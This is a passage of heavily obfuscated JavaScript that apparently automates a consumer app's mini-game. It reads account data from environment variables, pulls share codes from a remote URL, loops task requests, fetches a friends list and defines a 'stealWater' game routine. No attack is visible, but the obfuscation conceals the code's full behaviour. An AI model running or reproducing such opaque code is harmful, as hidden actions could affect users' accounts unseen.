_0x3a885d+_0x39a920;},'\x65\x4f\x70\x57\x54':_0x3c20ad(0x679,-0x24f,'\x6e\x76\x6d\x2a',-0x408,0x2)+_0x11febe(0xc68,0xd08,0x123,'\x34\x4a\x59\x74',0x716),'\x5a\x47\x65\x56\x53':_0x3c20ad(0x3ec,0x18f,'\x55\x4e\x28\x56',0x5b8,0x215)+_0x13b44c(0xc77,0x4c3,0x7f5,0xb4d,'\x4c\x34\x59\x31')+_0x13b44c(0x83b,0x294,0x7c0,0x747,'\x6f\x65\x59\x78')+_0x13b44c(0xcc0,0x86e,0xdaf,0x12a0,'\x45\x55\x66\x55')+_0x11febe(0x154d,0x90b,0xf71,'\x51\x50\x65\x2a',0xebd)+_0x11febe(0x957,0xf96,0x1146,'\x41\x6e\x41\x53',0xdaa)+_0x3c20ad(0x75a,0x8a3,'\x5d\x5b\x48\x44',0x6e9,0x4d6)+_0x4455ff('\x5d\x79\x74\x33',0xd08,0xae5,0xc2e,0xe37)+_0x11febe(0xc40,0x1422,0x125c,'\x6c\x54\x48\x57',0x1192)+_0x4455ff('\x6f\x65\x59\x78',0x729,0x949,0x6d4,0x77d)+_0x3c20ad(0x7d0,0x17e,'\x79\x45\x73\x4a',0x665,0x38c)+_0x3c20ad(0xde3,0xaf5,'\x4c\x34\x59\x31',0xb63,0xb1f)+_0x13b44c(0xf2b,0x443,0xa9d,0x67a,'\x4d\x58\x52\x4d')+_0x4455ff('\x49\x29\x49\x39',0x416,0x505,-0x17c,0x554)+_0x5ec655(0x7e5,0x285,'\x23\x4b\x6e\x33',0x361,0x78e)+_0x13b44c(0xe6,0x28d,0x678,0x4e5,'\x45\x64\x30\x4a')+_0x11febe(0x89d,0x1d5,0xea2,'\x5d\x5b\x48\x44',0x88b)+_0x4455ff('\x30\x29\x35\x70',0xf65,0x1144,0x153a,0x9dc)+_0x4455ff('\x7a\x78\x28\x4e',0x8c0,0xa22,0x2fa,0x505)+_0x11febe(0x656,0xe59,0xd5d,'\x24\x4b\x72\x6d',0x832)+_0x3c20ad(0xd0f,0x88a,'\x4f\x6f\x72\x35',0xff7,0xac4)+_0x5ec655(0xe3c,0x528,'\x67\x4d\x30\x75',0x600,0xa1a)+_0x13b44c(0xb46,0xeab,0xbdd,0x834,'\x41\x40\x62\x74')+_0x5ec655(0x125c,0x83d,'\x30\x31\x32\x62',0x1301,0xebf)+_0x11febe(0xc85,0xe8c,0x9d8,'\x21\x2a\x37\x57',0xcb0)+_0x11febe(0xeac,0x36b,0x26a,'\x7a\x78\x28\x4e',0x922)+_0x4455ff('\x34\x4a\x59\x74',0x46b,0x5f0,-0x14b,0x464)+_0x4455ff('\x43\x75\x73\x46',0x369,0x41c,0x721,0x1b3)+_0x5ec655(0x60c,0x48a,'\x44\x5d\x71\x6c',0x2df,0x733)+_0x13b44c(0xaab,0xcaf,0x856,0x5a9,'\x4f\x6f\x72\x35')+_0x4455ff('\x43\x75\x73\x46',0xeab,0x13e7,0x1056,0x841)+_0x4455ff('\x5d\x5b\x48\x44',0xcc7,0x12c3,0x1022,0x83d)+_0x11febe(0x13f6,0x121b,0x1001,'\x46\x42\x49\x42',0xf62)+_0x5ec655(0xf61,0xa97,'\x21\x6e\x65\x4c',0x74e,0xb05)+_0x11febe(0x116f,0x119c,0x93c,'\x44\x5d\x71\x6c',0xd0d)+_0x13b44c(0x1782,0x101e,0x11f2,0x165a,'\x70\x4b\x21\x31')+_0x4455ff('\x34\x4a\x59\x74',0x6c7,0x19,0x6c8,0x4ef)+_0x3c20ad(0x5b6,0x501,'\x6f\x65\x59\x78',0x71f,0x89d)+_0x13b44c(0x5cd,0x710,0xafa,0x622,'\x79\x45\x73\x4a')+_0x13b44c(0x834,0xf57,0xe63,0x1102,'\x56\x55\x65\x45')+_0x11febe(0x1019,0x87e,0x14a9,'\x44\x5d\x71\x6c',0xeb6)+_0x11febe(0xca7,0xa07,0x8df,'\x6e\x53\x58\x24',0xe29)+_0x11febe(0x11bd,0xe6e,0xd0b,'\x45\x74\x4e\x68',0xdbe)+_0x13b44c(0x5f7,0x7c1,0x65b,0x11a,'\x79\x45\x73\x4a')+_0x3c20ad(0xc1b,0x676,'\x6e\x46\x49\x33',-0x15a,0x58d)+_0x5ec655(0x26b,0x67,'\x54\x56\x24\x21',-0x2cb,0x3dc)+_0x13b44c(0x951,0x65,0x541,0x22f,'\x21\x6e\x65\x4c')+_0x3c20ad(0x63f,0x3b4,'\x49\x29\x49\x39',0x230,0x67b)+_0x3c20ad(0x920,0x84,'\x5b\x35\x69\x4f',0x24b,0x4f8)+_0x13b44c(0x1c9,0xb52,0x520,-0x44,'\x5d\x6e\x6c\x64')+_0x11febe(0x8ec,0x10ca,0x9d6,'\x24\x66\x56\x5d',0xd5f)+_0x3c20ad(0xc05,0x48f,'\x7a\x78\x28\x4e',0x90b,0x900)+_0x3c20ad(0x108,0x2d9,'\x31\x71\x6b\x4a',-0x280,0xd6)+_0x3c20ad(0x850,0x82d,'\x61\x4c\x56\x47',0xbbd,0x51f)+'\x22','\x73\x4e\x55\x58\x64':_0x3c20ad(0x401,0x830,'\x6e\x76\x6d\x2a',-0x98,0x441)+_0x3c20ad(0xa01,-0x11,'\x6e\x76\x6d\x2a',0x979,0x5f4)+_0x4455ff('\x5d\x6e\x6c\x64',0x605,0x8c0,0x62a,0x150)+_0x13b44c(0xada,0xc3d,0xaef,0xcef,'\x6e\x76\x6d\x2a')+_0x13b44c(0x414,0xfda,0xaa0,0xbab,'\x30\x29\x35\x70')+_0x11febe(0x946,0x1037,0xdee,'\x34\x4a\x59\x74',0xa44)+_0x3c20ad(0x1359,0x993,'\x21\x6e\x65\x4c',0x861,0xd37)+_0x4455ff('\x49\x29\x49\x39',0xba1,0x532,0xdf0,0xad0)+_0x3c20ad(-0x347,0x197,'\x43\x75\x73\x46',0x245,0x271)+_0x13b44c(0x931,0x1058,0xe02,0x8ae,'\x79\x45\x73\x4a')+_0x4455ff('\x46\x42\x49\x42',0xf83,0xd55,0x1182,0x120e),'\x79\x52\x4b\x75\x54':_0x4455ff('\x24\x4b\x72\x6d',0x5be,-0xb2,0xc0a,0x113)+_0x11febe(0x13,0x414,0xc27,'\x6e\x53\x58\x24',0x68a)+_0x13b44c(0x46d,0x8e7,0x619,0xc1e,'\x55\x4e\x28\x56')+_0x4455ff('\x56\x6b\x71\x37',0xdd8,0x112b,0x913,0x1404),'\x53\x64\x77\x42\x72':function(_0x201174){return _0x201174();},'\x71\x67\x67\x7a\x4a':function(_0x1a8c7f){return _0x1a8c7f();}};function _0x11febe(_0x8e9988,_0x516fe7,_0x53cdfb,_0x1677eb,_0x46ee4b){return _0x38128f(_0x8e9988-0x11d,_0x516fe7-0x14f,_0x53cdfb-0x105,_0x1677eb,_0x46ee4b-0x791);}function _0x5ec655(_0x18581d,_0x5505d2,_0x50e50a,_0x1036a5,_0x2557b7){return _0x38128f(_0x18581d-0x153,_0x5505d2-0xc7,_0x50e50a-0x3a,_0x50e50a,_0x2557b7-0x621);}function _0x13b44c(_0x154d36,_0x1bd424,_0x40f4ad,_0x4c2c53,_0x3b6c37){return _0x14621e(_0x40f4ad-0x50e,_0x3b6c37,_0x40f4ad-0xfd,_0x4c2c53-0x1a6,_0x3b6c37-0xb1);}function _0x4455ff(_0x3f6a48,_0x48cded,_0x2e5030,_0x1c44b2,_0x24c981){return _0x14621e(_0x48cded-0x1f2,_0x3f6a48,_0x2e5030-0x177,_0x1c44b2-0x1cd,_0x24c981-0x17d);}return new Promise(async _0x5eab24=>{function _0xabd6cb(_0x36dd92,_0x46134e,_0x49e4d1,_0x480c61,_0x416620){return _0x11febe(_0x36dd92-0x148,_0x46134e-0xb1,_0x49e4d1-0x4d,_0x416620,_0x46134e- -0x603);}function _0x19aa76(_0x44d0ad,_0xb09243,_0x34bd1b,_0x586264,_0x146a11){return _0x5ec655(_0x44d0ad-0x113,_0xb09243-0xd6,_0xb09243,_0x586264-0x1c4,_0x586264- -0xbc);}function _0x32c669(_0x14d8ab,_0x3fa006,_0xaa465d,_0x5f1827,_0x3d8123){return _0x11febe(_0x14d8ab-0x1d7,_0x3fa006-0x1dd,_0xaa465d-0x8f,_0x14d8ab,_0xaa465d- -0xd);}function _0x351c3e(_0x58fe22,_0x120ef9,_0x474fb9,_0x1150c5,_0x171271){return _0x5ec655(_0x58fe22-0xad,_0x120ef9-0xd5,_0x58fe22,_0x1150c5-0x1d0,_0x120ef9- -0x9f);}function _0x3b53a1(_0x21f2d9,_0x3da468,_0x43c132,_0x3d1e08,_0x56f1d0){return _0x11febe(_0x21f2d9-0xf4,_0x3da468-0x120,_0x43c132-0x16e,_0x21f2d9,_0x3d1e08- -0x2e1);}try{let _0x3a209e=[];$[_0xabd6cb(0x515,0x47e,0x26,-0x14,'\x45\x64\x30\x4a')+'\x65']&&process[_0xabd6cb(0x772,0xa8b,0x1026,0xc66,'\x6e\x46\x49\x33')][_0xabd6cb(0x4e4,0x11,0x582,0xdf,'\x73\x28\x4d\x75')+_0x19aa76(0x569,'\x31\x71\x6b\x4a',-0x84,0x315,0x1d2)+'\x44\x45']&&_0x3d1c20[_0x3b53a1('\x6f\x65\x59\x78',0xd61,0xf39,0xe63,0xbb1)](new Date()[_0x32c669('\x61\x4c\x56\x47',0xb5,0x726,0x730,0x9c)+_0x3b53a1('\x5b\x35\x69\x4f',0x237,0x385,0x86e,0x1f5)](),0x25f*0x2+0xef*0x29+-0x1f*0x163)&&process[_0xabd6cb(0xa6b,0x7c4,0x489,0x5d3,'\x6c\x54\x48\x57')][_0x32c669('\x41\x40\x62\x74',0x128d,0x1193,0xf37,0x106a)+_0x3b53a1('\x44\x5d\x71\x6c',0x663,0x9db,0x43e,0x863)+'\x44\x45'][_0x32c669('\x6b\x72\x35\x76',0x607,0x6b0,0xc91,0x47b)]('\x26')[_0x32c669('\x45\x74\x4e\x68',0x1110,0x11f3,0xe3c,0xcd7)+'\x63\x68'](_0x321796=>{function _0x2652cd(_0x13427e,_0x253bc0,_0x39960d,_0x234748,_0x3feb24){return _0x32c669(_0x3feb24,_0x253bc0-0xdc,_0x253bc0- -0x376,_0x234748-0x37,_0x3feb24-0xb9);}_0x3a209e[_0x2652cd(0xa03,0x681,0xd38,0xc3b,'\x45\x55\x66\x55')](_0x321796);});_0x3d1c20[_0x351c3e('\x4c\x34\x59\x31',0x91e,0x61b,0xf62,0xbd6)](new Date()[_0x32c669('\x44\x5d\x71\x6c',0xa61,0x10e1,0xb95,0xef7)+_0x351c3e('\x21\x6e\x65\x4c',0x86b,0x6ab,0x2a0,0x36e)](),-0xb0+0x25c2+0x1af*-0x16)&&await $[_0x351c3e('\x5d\x79\x74\x33',0xb93,0xad9,0xabe,0x7be)][_0x32c669('\x6e\x76\x6d\x2a',0x1223,0xb90,0xfa6,0x654)]({'\x75\x72\x6c':_0x3d1c20[_0x3b53a1('\x31\x71\x6b\x4a',0x17e,0xd84,0x790,0x8d6)]})[_0x3b53a1('\x21\x33\x39\x77',0x95d,0x61f,0xb4c,0xb36)](_0x441303=>{function _0x22fcfa(_0x451687,_0x3b7e8e,_0x3ae969,_0x4646ea,_0x43e0d8){return _0x3b53a1(_0x43e0d8,_0x3b7e8e-0x11f,_0x3ae969-0x1cd,_0x3b7e8e-0x1bf,_0x43e0d8-0xbb);}let _0x572001=JSON[_0x466454(0xce4,0xb8f,0x1004,'\x6e\x46\x49\x33',0x1349)](_0x441303[_0x466454(0x674,0x271,0x2e6,'\x46\x42\x49\x42',0xca3)]);function _0x466454(_0xc5d179,_0x3c8095,_0x3efd80,_0x324164,_0x48c722){return _0x3b53a1(_0x324164,_0x3c8095-0x13,_0x3efd80-0x182,_0xc5d179- -0x240,_0x48c722-0x1cb);}function _0xc59fb1(_0x153544,_0x466572,_0x136304,_0x296830,_0x321758){return _0x3b53a1(_0x466572,_0x466572-0xbd,_0x136304-0x153,_0x321758-0xc6,_0x321758-0xa3);}function _0x5e39c5(_0x2c1c39,_0x50394f,_0x13e0ff,_0x59a2ed,_0x5ef6ab){return _0xabd6cb(_0x2c1c39-0x112,_0x50394f-0x1ba,_0x13e0ff-0x5f,_0x59a2ed-0x104,_0x13e0ff);}if(_0x572001[_0x466454(0x2f5,-0x3c1,0x523,'\x45\x55\x66\x55',-0x3a9)])_0x3a209e=_0x572001[_0x22fcfa(0x1b9,0x5e5,0x92f,0x671,'\x4f\x6f\x72\x35')];});for(let _0x43346c=-0x162d+0x1192+-0x3*-0x189;_0x3d1c20[_0x19aa76(0x783,'\x6e\x76\x6d\x2a',0xbbb,0xe09,0x11bb)](_0x43346c,_0x3a209e[_0xabd6cb(0xad,0x61b,0xb72,0x693,'\x5d\x5b\x48\x44')+'\x68']);_0x43346c++){let _0x7d3d71=_0x3d1c20[_0x32c669('\x44\x5d\x71\x6c',0x114b,0xd20,0x1064,0xce2)](urlTask,_0x3d1c20[_0x32c669('\x21\x6e\x65\x4c',0xb28,0x114a,0x118c,0x125d)],_0x3d1c20[_0x3b53a1('\x5d\x79\x74\x33',0x13c3,0x112a,0xe75,0x12d8)](_0x3d1c20[_0x351c3e('\x56\x55\x65\x45',0xb9c,0x904,0x5a0,0x54e)](_0x3d1c20[_0xabd6cb(0x625,0xa29,0x7a7,0x873,'\x54\x56\x24\x21')](_0x3d1c20[_0x32c669('\x4c\x28\x57\x30',0xedf,0xd44,0xe04,0x101f)](_0x3d1c20[_0x32c669('\x21\x2a\x37\x57',0x14fe,0x102b,0x15b0,0xb5a)](_0x3d1c20[_0xabd6cb(0x677,0x12e,-0x58,0x16e,'\x56\x55\x65\x45')](_0x3d1c20[_0xabd6cb(0x962,0x2cf,0x81f,0x3f6,'\x21\x2a\x37\x57')],_0x3a209e[_0x43346c][_0x19aa76(0xca4,'\x58\x23\x51\x29',0xfb8,0xdbb,0x13c1)]('\x40')[-0x1*0xd29+-0x2560+0x3289]),_0x3d1c20[_0x351c3e('\x4c\x34\x59\x31',0xe14,0xa13,0xbe6,0xf4a)]),_0x3a209e[_0x43346c][_0x19aa76(0xc85,'\x56\x55\x65\x45',0x1497,0xeb0,0xfb1)]('\x40')[-0x1633*0x1+-0xe2f+0x195*0x17]),_0x3d1c20[_0x19aa76(0xcf7,'\x21\x6e\x65\x4c',0x56b,0x7ce,0x9b0)]),Math[_0xabd6cb(0x7cc,0xc6f,0xe23,0xc70,'\x21\x33\x39\x77')](new Date()[_0xabd6cb(0xd5f,0xcd4,0x6d6,0x115a,'\x67\x4d\x30\x75')+'\x6d\x65']())),_0x3d1c20[_0x3b53a1('\x56\x55\x65\x45',0x790,0xbb3,0xa0f,0x8fc)])),_0x45ab99='';await $[_0x19aa76(0x60c,'\x7a\x78\x28\x4e',0x2d9,0x31d,0x547)][_0x19aa76(0x68d,'\x61\x4c\x56\x47',0xb6b,0x865,0xbbb)](_0x7d3d71)[_0x32c669('\x30\x31\x32\x62',0x86b,0xb15,0xab8,0x85c)](async _0x3f0d22=>{function _0x59ee6(_0x4cccc6,_0x27e53b,_0x1ed637,_0x5b3b61,_0x2c5205){return _0x32c669(_0x4cccc6,_0x27e53b-0x38,_0x5b3b61-0x49,_0x5b3b61-0x160,_0x2c5205-0x13);}function _0x1ca0da(_0x4dbb89,_0x2c81d2,_0x132bc7,_0x4af7d0,_0x3ee7ee){return _0x32c669(_0x132bc7,_0x2c81d2-0xfb,_0x4dbb89- -0x6d2,_0x4af7d0-0xd8,_0x3ee7ee-0x162);}function _0x2d0479(_0x467fc0,_0x36830a,_0x251cad,_0x199979,_0x273881){return _0x3b53a1(_0x199979,_0x36830a-0x10,_0x251cad-0xc,_0x273881- -0x3aa,_0x273881-0x186);}function _0x3cda73(_0x588e51,_0x20bedb,_0x29f3ab,_0x34dc20,_0x196b17){return _0xabd6cb(_0x588e51-0xd4,_0x20bedb-0x1e2,_0x29f3ab-0x190,_0x34dc20-0x53,_0x34dc20);}function _0xce50e1(_0x4b82a5,_0x2f277d,_0x35f5d1,_0x5f0b5b,_0x4ab4ab){return _0xabd6cb(_0x4b82a5-0xc4,_0x2f277d-0x4b1,_0x35f5d1-0x45,_0x5f0b5b-0x194,_0x4b82a5);}let _0x1b42cd=JSON[_0x1ca0da(0x7a5,0x781,'\x49\x29\x49\x39',0xc48,0xd53)](_0x3f0d22[_0x2d0479(0xddd,0x666,0xb13,'\x34\x4a\x59\x74',0x9fe)]);if(_0x3d1c20[_0x2d0479(0xd55,0x13a,0xd4f,'\x6e\x76\x6d\x2a',0x7bd)](_0x1b42cd[_0x1ca0da(0xb15,0xe34,'\x6e\x76\x6d\x2a',0x759,0x77b)+'\x74'],-0xe8*0x16+-0x1134+0x2525)){if(_0x3d1c20[_0x3cda73(0x92d,0xb70,0x7ab,'\x21\x6e\x65\x4c',0x864)](_0x1b42cd[_0x59ee6('\x46\x42\x49\x42',0xd77,0x1e4,0x856,0xcc4)][_0x59ee6('\x61\x4c\x56\x47',0xd52,0x1230,0x122b,0xf9e)+_0x59ee6('\x46\x42\x49\x42',0x1678,0x1346,0x12ba,0x1013)+_0x2d0479(0x865,0xd1c,0xb06,'\x49\x29\x49\x39',0xa72)][_0x2d0479(0xf97,0x622,0x551,'\x24\x66\x56\x5d',0xbff)+'\x68'],0xfb7*0x1+0x1b58+-0x2b0f))_0x45ab99=_0x1b42cd[_0x59ee6('\x43\x75\x73\x46',0xf4d,0xaee,0x9ac,0x4c6)][_0x3cda73(0xd6f,0x964,0x39f,'\x30\x31\x32\x62',0x9c5)+_0x3cda73(0x10b0,0xcaf,0x766,'\x5d\x6e\x6c\x64',0x11af)+_0x59ee6('\x24\x4b\x72\x6d',0xfbd,0xcdb,0xc7c,0x624)][0x2551+-0x1b28+0x1*-0xa29][_0x59ee6('\x4c\x34\x59\x31',0xdbf,0x168a,0x1108,0x175f)][-0x18b2+0x3*0x88+0xb8d*0x2],console[_0x2d0479(0xdda,0x77e,0xf4d,'\x5d\x79\x74\x33',0x99c)](_0x3d1c20[_0x59ee6('\x56\x55\x65\x45',0x144c,0x173f,0x11b3,0xe0f)](_0x3d1c20[_0xce50e1('\x73\x28\x4d\x75',0x930,0xd4b,0x893,0x576)],_0x45ab99));else console[_0xce50e1('\x45\x74\x4e\x68',0x507,-0xcc,0x51d,0xb7d)](_0x3d1c20[_0x3cda73(0x98f,0x46d,0x3a5,'\x45\x74\x4e\x68',-0x1b9)]);}else console[_0x1ca0da(0x4d9,0x4c,'\x30\x29\x35\x70',0x321,0x798)](_0x3d1c20[_0x1ca0da(0xb94,0xc3f,'\x67\x4d\x30\x75',0xc33,0xa7c)](_0x3d1c20[_0x1ca0da(0x3a3,0x5dd,'\x73\x28\x4d\x75',-0x17b,0x179)],_0x1b42cd[_0xce50e1('\x49\x29\x49\x39',0x530,0x19f,0x552,-0x13a)+_0x1ca0da(0x627,0x119,'\x5d\x5b\x48\x44',0xb6b,0x635)]));}),await $[_0x3b53a1('\x4f\x6f\x72\x35',0xcc2,0x86c,0x8dd,0x939)](0x1cfa+0x10f*-0x4+-0x10ee);if(!_0x45ab99||_0x3d1c20[_0x19aa76(0x101a,'\x6e\x76\x6d\x2a',0x11bb,0xe06,0x13de)](_0x45ab99[_0x32c669('\x49\x29\x49\x39',0x101e,0x99a,0xd73,0x568)+'\x4f\x66']('\u4e0a\u9650'),-(-0x31*-0xb5+0x1*-0x1477+-0xe2d)))break;}_0x3d1c20[_0x3b53a1('\x5d\x5b\x48\x44',0x118a,0x860,0xe70,0xfef)](_0x5eab24);}catch(_0x54c4e2){console[_0xabd6cb(-0x6d9,-0x2e,0x223,-0x332,'\x41\x6e\x41\x53')](_0x3d1c20[_0x3b53a1('\x5d\x6e\x6c\x64',0x1c1,0xa64,0x3e7,0x709)](_0x3d1c20[_0x351c3e('\x5d\x6e\x6c\x64',0x348,0x7b7,0x246,-0x1f3)],_0x54c4e2)),_0x3d1c20[_0x3b53a1('\x6e\x53\x58\x24',0xca5,0xd23,0xd8d,0xbe8)](_0x5eab24);}});}let myFriendsList=[];async function myFriends(){function _0x284ce4(_0x3762a6,_0x509344,_0x51d032,_0x2f653f,_0x4c0230){return _0x38128f(_0x3762a6-0x5a,_0x509344-0x4c,_0x51d032-0xff,_0x51d032,_0x3762a6-0x6de);}function _0x2c6fed(_0x2a59cb,_0x358ff6,_0x32eea2,_0x301dae,_0x542b56){return _0x14621e(_0x542b56-0x290,_0x32eea2,_0x32eea2-0x116,_0x301dae-0x6a,_0x542b56-0x17f);}function _0x4fc8b7(_0xc5262f,_0x46a4da,_0x333fa7,_0x4b1198,_0x1d471a){return _0x14621e(_0x333fa7-0x471,_0x4b1198,_0x333fa7-0x151,_0x4b1198-0x92,_0x1d471a-0x45);}const _0x157f00={'\x45\x47\x72\x49\x75':function(_0x21c780,_0x9fbce4){return _0x21c780==_0x9fbce4;},'\x63\x4e\x6a\x61\x6a':function(_0x4d6f27){return _0x4d6f27();},'\x78\x51\x54\x6a\x6e':function(_0x1a602f,_0x24e21a,_0xbc7dfd){return _0x1a602f(_0x24e21a,_0xbc7dfd);},'\x58\x4a\x56\x45\x68':_0x502885(0x679,-0x44f,'\x51\x50\x65\x2a',-0x288,0x116)+_0x284ce4(0x489,0x8,'\x6e\x46\x49\x33',0x5dd,0x4d6)+_0x284ce4(0xace,0x796,'\x6f\x65\x59\x78',0x108a,0x5bc)+_0x4fc8b7(0x3f5,0x909,0x8d0,'\x45\x74\x4e\x68',0xd78)+_0x5195bb(0x19c,0x181,'\x31\x71\x6b\x4a',0x365,0x31c)+_0x284ce4(0x5eb,0xa9a,'\x6f\x65\x59\x78',0x839,0xb88)+_0x4fc8b7(0xc27,0xa4c,0xa36,'\x30\x29\x35\x70',0x846)+_0x5195bb(0x453,0x5f2,'\x46\x42\x49\x42',0x1fc,0x456)+_0x5195bb(0x5f8,0x635,'\x49\x29\x49\x39',0x786,0x2aa)+_0x5195bb(0x22d,-0x1c8,'\x56\x6b\x71\x37',0x380,0x2d3)+_0x502885(0xa8,-0x221,'\x24\x66\x56\x5d',0x9ba,0x361)+_0x502885(0x845,0x98b,'\x6c\x54\x48\x57',0x1511,0xe5a)+_0x4fc8b7(0x8ff,0x1ce,0x492,'\x5b\x35\x69\x4f',0xaa4)+_0x5195bb(0x10b1,0xe54,'\x45\x74\x4e\x68',0xbc5,0x678)+'\x73','\x71\x6c\x4d\x66\x42':_0x4fc8b7(0x1826,0x1561,0x11c8,'\x54\x56\x24\x21',0x14f7)+_0x284ce4(0xef1,0x11f7,'\x56\x6b\x71\x37',0x1360,0x1302)+_0x5195bb(0x220,0x155,'\x4c\x34\x59\x31',0x98,0x5c3)+_0x2c6fed(0x203,0x419,'\x6c\x54\x48\x57',0x4f8,0x733)+_0x5195bb(0x8fd,0xd3a,'\x4c\x34\x59\x31',0xc6e,0x6d9)+_0x5195bb(0x94e,0xf7a,'\x7a\x78\x28\x4e',0x9bc,0x924)+'\x22\x7d','\x57\x41\x76\x7a\x59':function(_0x39b58b,_0x5e78f7){return _0x39b58b+_0x5e78f7;},'\x47\x51\x69\x7a\x6a':_0x502885(0x5d6,-0x330,'\x4a\x55\x45\x71',0x33f,0x19c)+_0x2c6fed(0x11fe,0x875,'\x5d\x6e\x6c\x64',0xd04,0xd15),'\x52\x6c\x53\x63\x43':function(_0x23f121){return _0x23f121();}};function _0x5195bb(_0x3c7628,_0x149a48,_0x119101,_0x184cfa,_0x4a3c11){return _0x14621e(_0x184cfa-0x7d,_0x119101,_0x119101-0x34,_0x184cfa-0x108,_0x4a3c11-0x81);}function _0x502885(_0x2cf76e,_0xfcd641,_0x249af7,_0x20b95d,_0x49d6b3){return _0x38128f(_0x2cf76e-0x9b,_0xfcd641-0xbe,_0x249af7-0x39,_0x249af7,_0x49d6b3-0x38a);}return new Promise(async _0x3f21f4=>{function _0x2f458c(_0x451731,_0x145ce0,_0x3e46df,_0x104fd1,_0xa781eb){return _0x2c6fed(_0x451731-0x1cb,_0x145ce0-0x86,_0x104fd1,_0x104fd1-0x8f,_0x451731-0x18c);}function _0x6b6e9e(_0x243570,_0x585960,_0x3f9e9d,_0x3c9784,_0x1f8c0f){return _0x502885(_0x243570-0x1b0,_0x585960-0x13b,_0x3f9e9d,_0x3c9784-0x125,_0x243570-0xed);}function _0x360765(_0x27d082,_0x47448c,_0x46a723,_0x1a1052,_0x19dbeb){return _0x4fc8b7(_0x27d082-0x69,_0x47448c-0x170,_0x1a1052- -0x1b2,_0x27d082,_0x19dbeb-0x110);}function _0x2732c7(_0xa302b5,_0x43b8bf,_0x384073,_0x30c32d,_0x37ba1a){return _0x284ce4(_0x37ba1a- -0x208,_0x43b8bf-0x4b,_0x43b8bf,_0x30c32d-0x171,_0x37ba1a-0x1cb);}function _0x9def04(_0xd77d79,_0x286e59,_0x10a32e,_0x5136ca,_0xf03ea7){return _0x502885(_0xd77d79-0x15a,_0x286e59-0xe3,_0x5136ca,_0x5136ca-0x87,_0x286e59- -0x19b);}try{let _0x66fd26=_0x157f00[_0x2f458c(0x1198,0xe7a,0xc66,'\x30\x31\x32\x62',0x153b)](urlTask,_0x157f00[_0x2f458c(0x7f7,0x8d4,0xb01,'\x50\x5d\x49\x57',0x94a)],_0x157f00[_0x9def04(-0x17b,0x3f6,0x66,'\x5d\x79\x74\x33',0x4eb)]);await $[_0x6b6e9e(0xe77,0x96a,'\x46\x42\x49\x42',0xfa7,0xafc)][_0x2732c7(0x47c,'\x5b\x35\x69\x4f',0xbb7,0x27e,0x914)](_0x66fd26)[_0x9def04(0x653,0x1ca,0x57a,'\x4c\x28\x57\x30',-0x178)](async _0x482580=>{let _0x6b1277=JSON[_0x39215b(0x9b4,0xf8e,0x2d1,'\x7a\x78\x28\x4e',0x8a9)](_0x482580[_0x2ce719(0x339,'\x6c\x54\x48\x57',0xba5,0x5be,0x8f9)]);function _0x2ce719(_0x166259,_0x1d8725,_0x279af7,_0x38e76c,_0x3ddb8d){return _0x2732c7(_0x166259-0xf0,_0x1d8725,_0x279af7-0xcc,_0x38e76c-0x76,_0x38e76c- -0x38d);}function _0x3bf08f(_0xe94a00,_0x36ae91,_0x560c69,_0x12caf0,_0x18289e){return _0x360765(_0x18289e,_0x36ae91-0x157,_0x560c69-0x5a,_0xe94a00- -0x518,_0x18289e-0x139);}function _0x2c2a8a(_0x591c7f,_0x177238,_0x1b2884,_0x33d785,_0x3d39d6){return _0x2f458c(_0x1b2884- -0x59e,_0x177238-0x2a,_0x1b2884-0x1cc,_0x3d39d6,_0x3d39d6-0x118);}function _0x39215b(_0x33af7f,_0x50cc7e,_0x239442,_0x156ed9,_0x2394b4){return _0x6b6e9e(_0x2394b4-0x8f,_0x50cc7e-0x5e,_0x156ed9,_0x156ed9-0x129,_0x2394b4-0x1cc);}function _0x181c06(_0x58286d,_0x2ebdfd,_0x1a802e,_0x14bc53,_0x5d62f0){return _0x9def04(_0x58286d-0x36,_0x14bc53-0x270,_0x1a802e-0x14b,_0x5d62f0,_0x5d62f0-0x1a7);}if(_0x157f00[_0x39215b(0x456,0xcd9,0x464,'\x4c\x34\x59\x31',0x9e8)](_0x6b1277[_0x39215b(0x681,0xd39,0xa4c,'\x45\x74\x4e\x68',0xa69)+'\x74'],0x131*0x3+-0x2582+0x21f0))myFriendsList=_0x6b1277[_0x39215b(0x97f,0xbfd,0x106e,'\x73\x28\x4d\x75',0xd7b)][_0x2ce719(0x81b,'\x5b\x35\x69\x4f',0x63d,0x8c4,0x817)+_0x39215b(0x202,0x2db,0x22b,'\x34\x4a\x59\x74',0x668)];_0x157f00[_0x3bf08f(0xd6,0x180,0x595,0x196,'\x4c\x34\x59\x31')](_0x3f21f4);});}catch(_0x502108){console[_0x360765('\x51\x50\x65\x2a',0xcdd,0x12e2,0xdf5,0x145e)](_0x157f00[_0x6b6e9e(0xcee,0x1362,'\x23\x4b\x6e\x33',0x6bd,0x1126)](_0x157f00[_0x6b6e9e(0xfaa,0x159c,'\x5d\x6e\x6c\x64',0x8e2,0x1036)],_0x502108)),_0x157f00[_0x2732c7(0xbeb,'\x67\x4d\x30\x75',0xe81,0xac2,0xfe6)](_0x3f21f4);}});}async function stealWater(){const _0x5f5104={'\x70\x4c\x57\x48\x63':function(_0x5e476a,_0x40b699){return _0x5e476a==_0x40b699;},'\x4b\x49\x47\x4f\x4d':function(_0x378418,_0x5ad030){return _0x378418+_0x5ad030;},'\x72\x5a\x6c\x6d\x66':_0x26233b(0x1501,0x10f7,'\x46\x42\x49\x42',0x942,0xe53)+_0x26233b(0x1260,0xf42,'\x4c\x34\x59\x31',0xbdb,0x1237)+'\x28','\x5a\x46\x67\x6f\x66':_0x5db5eb(0xa82,'\x24\x4b\x72\x6d',0x7e4,0x588,0x932),'\x74\x45\x41\x75\x42':function(_0x2e0628,_0x2a03fb){return _0x2e0628+_0x2a03fb;},'\x5a\x45\x6b\x56\x61':_0x5db5eb(0x1279,'\x21\x6e\x65\x4c',0xa5b,0xcd2,0xdb5)+'\u3011\x3a','\x41\x66\x59\x50\x6e':function(_0x425c08,_0x1e6830){return _0x425c08<_0x1e6830;},'\x73\x44\x74\x50\x65':function(_0x55e994,_0x232441){return _0x55e994==_0x232441;},'\x41\x54\x44\x6a\x79':_0x16a233(0x102,0xa0d,0x7c,'\x43\x75\x73\x46',0x580)+_0x5db5eb(0x565,'\x46\x42\x49\x42',0xae6,0x3fa,0x425),'\x4a\x63\x76\x45\x63':function(_0x3bbaef,_0x2b98aa,_0x2d46f9){return 